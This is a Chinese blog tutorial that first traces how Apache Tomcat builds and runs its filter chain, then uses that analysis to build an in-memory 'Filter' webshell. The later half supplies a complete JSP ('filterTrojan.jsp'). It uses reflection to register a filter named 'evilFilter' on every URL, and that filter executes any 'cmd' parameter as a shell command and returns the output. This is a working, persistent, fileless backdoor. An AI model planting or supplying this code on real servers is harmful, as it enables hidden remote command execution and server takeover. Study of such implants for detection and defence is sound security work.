文章目录
前言
Filter生命周期
Filter类介绍
Servlet启动流程
下图是Servlet启动流程
StandardEngine启动后调用StandardHost、再调用StandardContext。在StandardContext.startInternal()中可以看到,加载流程是Listener-Filter-Servlet
Filter调用流程分析
来到StandardWrapper处理Filter事务
借用宽字节安全的图
1. 从Standardcontext获取filterMaps
ApplicationFilterFactory中从Standardcontext获取filterMaps
里面有每个filter的信息
2. 遍历filterMap匹配url并调用了addFilter方法添加到filterChain
符合匹配就从filterConfig添加filter到filterChain,这里调用了addFilter方法
filterConfig存储了filterDef定义和filter信息
3. 依次调用doFilter
ApplicationFilterFactory获取完filterChain后回到StandardWarpper继续处理,然后就是调用链子filterChain.doFilter方法
实际调用了internalDoFilter方法
循环chain依次调用各filter的doFilter方法
当最后一个filter结束后
Filter内存马
原理
由于不能直接操控web.xml或者WebFilter注解注册恶意Filter
但是根据流程分析:注册Filter用到了几个关键方法,这就可以通过反射注册恶意Filter
模拟正常流程:
- 生成恶意filter
- filterDef封装filter添加到filterDefs
- filterConfig封装filterDefs添加到filterConfigs
- 生成filterMap添加到filterMaps
- 三者放入Context
Ⅰ. 获取context
Servlet提供了一个方法request.getSession().getServletContext()
获取servletContext
这里获取到的是ApplicationContextFacade,它封装了ApplicationContext实现了ServletContext接口
然后ApplicationContext封装了StandardContext
因此调两次反射就能拿到StandardContext,注意是private要setAccessible
<%
Field appContextField = ApplicationContextFacade.class.getDeclaredField("context");
appContextField.setAccessible(true);
Field standardContextField = ApplicationContext.class.getDeclaredField("context");
standardContextField.setAccessible(true);
ServletContext servletContext = request.getSession().getServletContext();
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
%>
更简单的方法
Servlet环境的request实际是RequestFacade对象,就像Context实际也是ApplicationCotextFacade一样
它有一个request属性存储了Request对象,Request对象getter就能直接拿到Context
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request request1 = (Request) requestField.get(request);
StandardContext standardContext = (StandardContext) request1.getContext();
Ⅱ. 生成恶意Filter用FilterDef封装添加到FilterDefs
FilterDef提供了setter
StandardContext也提供了添加FilterDefs的方法
.......
Filter filter = new Filter() {
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
chain.doFilter(request, response);
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName("evilFilter");
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
%>
Ⅲ. 用filterConfig封装filterDefs添加到filterConfigs
生成filterConfig需要调用反射,因为构造器没有声明public,然后直接向filterConfigs调用Map.put传入即可,键为filter的名称同上
这里的Context是org.apache.catalina.Context
......
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
Field filterConfigsField = StandardContext.class.getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map) filterConfigsField.get(standardContext);
filterConfigs.put("evilFilter", filterConfig);
%>
Ⅳ. 生成filterMap添加到filterMaps
FilterMap也有几个add和set方法,这里需要设定名称、pattern,dispatcher设置为DispatcherType.REQUEST
FilterMaps提供了两种add方法来添加map,选用before可以加在最前面
......
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName("evilFilter");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
%>
完整代码
// filterTrojan.jsp
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
Field appContextField = ApplicationContextFacade.class.getDeclaredField("context");
appContextField.setAccessible(true);
Field standardContextField = ApplicationContext.class.getDeclaredField("context");
standardContextField.setAccessible(true);
ServletContext servletContext = request.getSession().getServletContext();
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
Filter filter = new Filter() {
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
chain.doFilter(request, response);
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName("evilFilter");
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
Field filterConfigsField = StandardContext.class.getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map) filterConfigsField.get(standardContext);
filterConfigs.put("evilFilter", filterConfig);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName("evilFilter");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
out.println("Inject done");
%>
运行截图
首先访问注入内存马的jsp,然后只要urlPattern符合都能进行RCE
参考引用
完
欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://blog.csdn.net/Xxy605/article/details/123561053
版权声明:本文为原创,转载时须注明出处及本声明